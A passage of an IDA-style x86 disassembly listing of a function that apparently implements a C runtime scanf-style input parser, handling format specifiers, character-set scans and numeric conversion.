loc_420E94:				; CODE XREF: sub_420DB0+D3j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420EA3:				; CODE XREF: sub_420DB0+E2j
		test	eax, eax
		jz	short loc_420EB9
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EB9:				; CODE XREF: sub_420DB0+F5j
		cmp	ebx, 4Eh
		jg	short loc_420EFC
		jz	short loc_420F1E
		cmp	ebx, 2Ah
		jz	short loc_420EF7
		cmp	ebx, 46h
		jz	short loc_420F1E
		cmp	ebx, 49h
		jz	short loc_420ED9
		cmp	ebx, 4Ch
		jnz	short loc_420F0B
		inc	[ebp+var_D]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420ED9:				; CODE XREF: sub_420DB0+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_420F0B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_420F0B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EF7:				; CODE XREF: sub_420DB0+113j
		inc	[ebp+var_E]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EFC:				; CODE XREF: sub_420DB0+10Cj
		cmp	ebx, 68h
		jz	short loc_420F18
		cmp	ebx, 6Ch
		jz	short loc_420F10
		cmp	ebx, 77h
		jz	short loc_420F13


loc_420F0B:				; CODE XREF: sub_420DB0+122j
					; sub_420DB0+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420F10:				; CODE XREF: sub_420DB0+154j
		inc	[ebp+var_D]


loc_420F13:				; CODE XREF: sub_420DB0+159j
		inc	[ebp+var_5]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420F18:				; CODE XREF: sub_420DB0+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_420F1E:				; CODE XREF: sub_420DB0+107j
					; sub_420DB0+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_420E77
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_420F43
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_420F43:				; CODE XREF: sub_420DB0+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_420F61
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_420F5D
		cmp	al, 43h
		jz	short loc_420F5D
		or	[ebp+var_5], 0FFh
		jmp	short loc_420F61
; ---------------------------------------------------------------------------


loc_420F5D:				; CODE XREF: sub_420DB0+1A1j
					; sub_420DB0+1A5j
		mov	[ebp+var_5], 1


loc_420F61:				; CODE XREF: sub_420DB0+19Bj
					; sub_420DB0+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_420F9A
		cmp	esi, 63h
		jz	short loc_420F8B
		cmp	esi, 7Bh
		jz	short loc_420F8B
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_42183D
		pop	ecx
		jmp	short loc_420F96
; ---------------------------------------------------------------------------


loc_420F8B:				; CODE XREF: sub_420DB0+1C5j
					; sub_420DB0+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C


loc_420F96:				; CODE XREF: sub_420DB0+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_420F9A:				; CODE XREF: sub_420DB0+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_420FAA
		cmp	[ebp+var_C], eax
		jz	loc_421786


loc_420FAA:				; CODE XREF: sub_420DB0+1EFj
		cmp	esi, 6Fh
		jg	loc_421211
		jz	loc_4214C3
		cmp	esi, 63h
		jz	loc_4211EE
		cmp	esi, 64h
		jz	loc_4214C3
		jle	loc_42123B
		cmp	esi, 67h
		jle	short loc_42100E
		cmp	esi, 69h
		jz	short loc_420FF6
		cmp	esi, 6Eh
		jnz	loc_42123B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_4216F1
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_420DB0+229j
		push	64h
		pop	esi


loc_420FF9:				; CODE XREF: sub_420DB0+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_421283
		mov	[ebp+var_17], 1
		jmp	loc_421288
; ---------------------------------------------------------------------------


loc_42100E:				; CODE XREF: sub_420DB0+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42102A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42102F
; ---------------------------------------------------------------------------


loc_42102A:				; CODE XREF: sub_420DB0+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_421046


loc_42102F:				; CODE XREF: sub_420DB0+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_421049
; ---------------------------------------------------------------------------


loc_421046:				; CODE XREF: sub_420DB0+27Dj
		mov	edi, [ebp+arg_0]


loc_421049:				; CODE XREF: sub_420DB0+294j
		cmp	[ebp+var_20], 0
		jz	short loc_421058
		cmp	[ebp+var_C], 15Dh
		jle	short loc_42105F


loc_421058:				; CODE XREF: sub_420DB0+29Dj
		mov	[ebp+var_C], 15Dh


loc_42105F:				; CODE XREF: sub_420DB0+2A6j
					; sub_420DB0+2F2j
		cmp	dword_43D084, 1
		jle	short loc_421074
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_42107F
; ---------------------------------------------------------------------------


loc_421074:				; CODE XREF: sub_420DB0+2B6j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42107F:				; CODE XREF: sub_420DB0+2C2j
		test	eax, eax
		jz	short loc_4210A4
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4210A4
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42105F
; ---------------------------------------------------------------------------


loc_4210A4:				; CODE XREF: sub_420DB0+2D1j
					; sub_420DB0+2DBj
		cmp	byte_43D088, bl
		jnz	short loc_421112
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_421112
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		mov	al, byte_43D088
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_4210CD:				; CODE XREF: sub_420DB0+360j
		cmp	dword_43D084, 1
		jle	short loc_4210E2
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4210ED
; ---------------------------------------------------------------------------


loc_4210E2:				; CODE XREF: sub_420DB0+324j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4210ED:				; CODE XREF: sub_420DB0+330j
		test	eax, eax
		jz	short loc_421112
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_421112
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4210CD
; ---------------------------------------------------------------------------


loc_421112:				; CODE XREF: sub_420DB0+2FAj
					; sub_420DB0+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_4211AA
		cmp	ebx, 65h
		jz	short loc_42112A
		cmp	ebx, 45h
		jnz	loc_4211AA


loc_42112A:				; CODE XREF: sub_420DB0+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4211AA
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_421151
		mov	[esi], al
		inc	esi
		jmp	short loc_421156
; ---------------------------------------------------------------------------


loc_421151:				; CODE XREF: sub_420DB0+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_421174


loc_421156:				; CODE XREF: sub_420DB0+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_421165
		and	[ebp+var_C], eax
		jmp	short loc_421174
; ---------------------------------------------------------------------------


loc_421165:				; CODE XREF: sub_420DB0+3AEj
					; sub_420DB0+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_421174:				; CODE XREF: sub_420DB0+3A4j
					; sub_420DB0+3B3j
		cmp	dword_43D084, 1
		jle	short loc_421189
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421194
; ---------------------------------------------------------------------------


loc_421189:				; CODE XREF: sub_420DB0+3CBj
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421194:				; CODE XREF: sub_420DB0+3D7j
		test	eax, eax
		jz	short loc_4211AA
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4211AA
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_421165
; ---------------------------------------------------------------------------


loc_4211AA:				; CODE XREF: sub_420DB0+366j
					; sub_420DB0+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_421826
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43D428
		add	esp, 0Ch
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4211EE:				; CODE XREF: sub_420DB0+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_4211FD
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_4211FD:				; CODE XREF: sub_420DB0+441j
		cmp	[ebp+var_5], 0
		jle	short loc_421207
		mov	[ebp+var_16], 1


loc_421207:				; CODE XREF: sub_420DB0+451j
		mov	edi, offset dword_43D300
		jmp	loc_42131C
; ---------------------------------------------------------------------------


loc_421211:				; CODE XREF: sub_420DB0+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_4214BF
		sub	eax, 3
		jz	loc_42130D
		dec	eax
		dec	eax
		jz	loc_4214C3
		sub	eax, 3
		jz	loc_420FF9
		sub	eax, 3
		jz	short loc_42125F


loc_42123B:				; CODE XREF: sub_420DB0+21Bj
					; sub_420DB0+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_421786
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_42125F:				; CODE XREF: sub_420DB0+489j
		cmp	[ebp+var_5], 0
		jle	short loc_421269
		mov	[ebp+var_16], 1


loc_421269:				; CODE XREF: sub_420DB0+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_421320
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_42131C
; ---------------------------------------------------------------------------


loc_421283:				; CODE XREF: sub_420DB0+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_4212AA


loc_421288:				; CODE XREF: sub_420DB0+259j
		dec	[ebp+var_C]
		jnz	short loc_421299
		cmp	[ebp+var_20], 0
		jz	short loc_421299
		mov	[ebp+var_F], 1
		jmp	short loc_4212AA
; ---------------------------------------------------------------------------


loc_421299:				; CODE XREF: sub_420DB0+4DBj
					; sub_420DB0+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4212AA:				; CODE XREF: sub_420DB0+4D6j
					; sub_420DB0+4E7j
		cmp	ebx, 30h
		jnz	loc_4214F8
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_4212F8
		cmp	bl, 58h
		jz	short loc_4212F8
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_4212E2
		push	6Fh


loc_4212DC:				; CODE XREF: sub_420DB0+55Bj
		pop	esi
		jmp	loc_4214F8
; ---------------------------------------------------------------------------


loc_4212E2:				; CODE XREF: sub_420DB0+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_4214F5
; ---------------------------------------------------------------------------


loc_4212F8:				; CODE XREF: sub_420DB0+517j
					; sub_420DB0+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_4212DC
; ---------------------------------------------------------------------------


loc_42130D:				; CODE XREF: sub_420DB0+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_421317
		mov	[ebp+var_16], 1


loc_421317:				; CODE XREF: sub_420DB0+561j
		mov	edi, offset dword_43D2F8


loc_42131C:				; CODE XREF: sub_420DB0+45Cj
					; sub_420DB0+4CEj
		or	[ebp+var_18], 0FFh


loc_421320:				; CODE XREF: sub_420DB0+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_421344
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_421344
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_421344:				; CODE XREF: sub_420DB0+584j
					; sub_420DB0+589j
		mov	dl, [ebp+var_35]


loc_421347:				; CODE XREF: sub_420DB0+592j
					; sub_420DB0+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_4213AC
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_421393
		test	dl, dl
		jz	short loc_421393
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_421393
		inc	edi
		cmp	dl, cl
		jnb	short loc_421366
		mov	al, cl
		jmp	short loc_42136A
; ---------------------------------------------------------------------------


loc_421366:				; CODE XREF: sub_420DB0+5B0j
		mov	al, dl
		mov	dl, cl


loc_42136A:				; CODE XREF: sub_420DB0+5B4j
		cmp	dl, al
		ja	short loc_42138F
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_421377:				; CODE XREF: sub_420DB0+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_421377


loc_42138F:				; CODE XREF: sub_420DB0+5BCj
		xor	dl, dl
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_421393:				; CODE XREF: sub_420DB0+5A0j
					; sub_420DB0+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_4213AC:				; CODE XREF: sub_420DB0+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_4217B6
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_4213BE
		mov	[ebp+arg_4], edi


loc_4213BE:				; CODE XREF: sub_420DB0+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4213D5:				; CODE XREF: sub_420DB0+6BCj
					; sub_420DB0+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_4213E9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_421485


loc_4213E9:				; CODE XREF: sub_420DB0+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_421479
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_421479
		cmp	[ebp+var_E], 0
		jnz	short loc_421471
		cmp	[ebp+var_16], 0
		jz	short loc_421466
		mov	ecx, off_43CE78
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_421445
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		pop	ecx
		mov	[ebp+var_37], al


loc_421445:				; CODE XREF: sub_420DB0+686j
		push	dword_43D084
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_4246CB
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_421469
; ---------------------------------------------------------------------------


loc_421466:				; CODE XREF: sub_420DB0+673j
		mov	[esi], al
		inc	esi


loc_421469:				; CODE XREF: sub_420DB0+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_4213D5
; ---------------------------------------------------------------------------


loc_421471:				; CODE XREF: sub_420DB0+66Dj
		inc	[ebp+var_30]
		jmp	loc_4213D5
; ---------------------------------------------------------------------------


loc_421479:				; CODE XREF: sub_420DB0+649j
					; sub_420DB0+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_421826
		pop	ecx
		pop	ecx


loc_421485:				; CODE XREF: sub_420DB0+633j
		cmp	[ebp+var_30], esi
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_421717
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_4214B7
		and	word ptr [eax],	0
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4214B7:				; CODE XREF: sub_420DB0+6FCj
		and	byte ptr [eax],	0
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4214BF:				; CODE XREF: sub_420DB0+466j
		mov	[ebp+var_D], 1


loc_4214C3:				; CODE XREF: sub_420DB0+203j
					; sub_420DB0+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_4214D1
		mov	[ebp+var_17], 1
		jmp	short loc_4214D6
; ---------------------------------------------------------------------------


loc_4214D1:				; CODE XREF: sub_420DB0+719j
		cmp	ebx, 2Bh
		jnz	short loc_4214F8


loc_4214D6:				; CODE XREF: sub_420DB0+71Fj
		dec	[ebp+var_C]
		jnz	short loc_4214E7
		cmp	[ebp+var_20], 0
		jz	short loc_4214E7
		mov	[ebp+var_F], 1
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214E7:				; CODE XREF: sub_420DB0+729j
					; sub_420DB0+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		pop	ecx
		mov	ebx, eax


loc_4214F5:				; CODE XREF: sub_420DB0+543j
		mov	[ebp+var_14], ebx


loc_4214F8:				; CODE XREF: sub_420DB0+4FDj
					; sub_420DB0+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_421611
		cmp	[ebp+var_F], 0
		jnz	loc_4215EF


loc_42150C:				; CODE XREF: sub_420DB0+82Cj
		cmp	esi, 78h
		jnz	short loc_421560
		cmp	dword_43D084, 1
		jle	short loc_421529
		push	80h
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421536
; ---------------------------------------------------------------------------


loc_421529:				; CODE XREF: sub_420DB0+768j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_421536:				; CODE XREF: sub_420DB0+777j
		test	eax, eax
		jz	loc_4215E1
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_4247A0
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_4217D5
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4215B3
; ---------------------------------------------------------------------------


loc_421560:				; CODE XREF: sub_420DB0+75Fj
		cmp	dword_43D084, 1
		jle	short loc_421575
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421580
; ---------------------------------------------------------------------------


loc_421575:				; CODE XREF: sub_420DB0+7B7j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421580:				; CODE XREF: sub_420DB0+7C3j
		test	eax, eax
		jz	short loc_4215E1
		cmp	esi, 6Fh
		jnz	short loc_42159E
		cmp	ebx, 38h
		jge	short loc_4215E1
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_4247A0
		jmp	short loc_4215AD
; ---------------------------------------------------------------------------


loc_42159E:				; CODE XREF: sub_420DB0+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41DB20


loc_4215AD:				; CODE XREF: sub_420DB0+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_4215B3:				; CODE XREF: sub_420DB0+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_4215CB
		dec	[ebp+var_C]
		jz	short loc_4215EF


loc_4215CB:				; CODE XREF: sub_420DB0+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42150C
; ---------------------------------------------------------------------------


loc_4215E1:				; CODE XREF: sub_420DB0+788j
					; sub_420DB0+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4215EF:				; CODE XREF: sub_420DB0+756j
					; sub_420DB0+819j
		cmp	[ebp+var_17], 0
		jz	loc_4216D5
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_4216D5
; ---------------------------------------------------------------------------


loc_421611:				; CODE XREF: sub_420DB0+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_4216CD


loc_42161B:				; CODE XREF: sub_420DB0+90Aj
		cmp	esi, 78h
		jz	short loc_42165F
		cmp	esi, 70h
		jz	short loc_42165F
		cmp	dword_43D084, 1
		jle	short loc_42163A
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421645
; ---------------------------------------------------------------------------


loc_42163A:				; CODE XREF: sub_420DB0+87Cj
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421645:				; CODE XREF: sub_420DB0+888j
		test	eax, eax
		jz	short loc_4216BF
		cmp	esi, 6Fh
		jnz	short loc_421658
		cmp	ebx, 38h
		jge	short loc_4216BF
		shl	edi, 3
		jmp	short loc_421697
; ---------------------------------------------------------------------------


loc_421658:				; CODE XREF: sub_420DB0+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_421697
; ---------------------------------------------------------------------------


loc_42165F:				; CODE XREF: sub_420DB0+86Ej
					; sub_420DB0+873j
		cmp	dword_43D084, 1
		jle	short loc_421677
		push	80h
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421684
; ---------------------------------------------------------------------------


loc_421677:				; CODE XREF: sub_420DB0+8B6j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_421684:				; CODE XREF: sub_420DB0+8C5j
		test	eax, eax
		jz	short loc_4216BF
		push	ebx
		shl	edi, 4
		call	sub_4217D5
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_421697:				; CODE XREF: sub_420DB0+8A6j
					; sub_420DB0+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_4216A9
		dec	[ebp+var_C]
		jz	short loc_4216CD


loc_4216A9:				; CODE XREF: sub_420DB0+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42161B
; ---------------------------------------------------------------------------


loc_4216BF:				; CODE XREF: sub_420DB0+897j
					; sub_420DB0+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4216CD:				; CODE XREF: sub_420DB0+865j
					; sub_420DB0+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_4216D5
		neg	edi


loc_4216D5:				; CODE XREF: sub_420DB0+843j
					; sub_420DB0+85Cj ...
		cmp	esi, 46h
		jnz	short loc_4216DE
		and	[ebp+var_1C], 0


loc_4216DE:				; CODE XREF: sub_420DB0+928j
		cmp	[ebp+var_1C], 0
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	short loc_421717
		inc	[ebp+var_34]


loc_4216F1:				; CODE XREF: sub_420DB0+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_421707
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_421717
; ---------------------------------------------------------------------------


loc_421707:				; CODE XREF: sub_420DB0+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_421714
		mov	[eax], edi
		jmp	short loc_421717
; ---------------------------------------------------------------------------


loc_421714:				; CODE XREF: sub_420DB0+95Ej
		mov	[eax], di


loc_421717:				; CODE XREF: sub_420DB0+241j
					; sub_420DB0+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_421764
; ---------------------------------------------------------------------------


loc_421722:				; CODE XREF: sub_420DB0+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_421791
		mov	ecx, off_43CE78
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_421764
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_42179F
		dec	[ebp+var_4]


loc_421764:				; CODE XREF: sub_420DB0+970j
					; sub_420DB0+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_42177A
		cmp	byte ptr [esi],	25h
		jnz	short loc_4217BC
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_4217BC
		mov	esi, eax


loc_42177A:				; CODE XREF: sub_420DB0+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_420DDA
		jmp	short loc_4217B6
; ---------------------------------------------------------------------------


loc_421786:				; CODE XREF: sub_420DB0+1F4j
					; sub_420DB0+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_421796
; ---------------------------------------------------------------------------


loc_421791:				; CODE XREF: sub_420DB0+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_421796:				; CODE XREF: sub_420DB0+9DFj
		call	sub_421826
		pop	ecx
		pop	ecx
		jmp	short loc_4217B6
; ---------------------------------------------------------------------------


loc_42179F:				; CODE XREF: sub_420DB0+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_421826
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_421826
		add	esp, 10h


loc_4217B6:				; CODE XREF: sub_420DB0+1Fj
					; sub_420DB0+40Aj ...
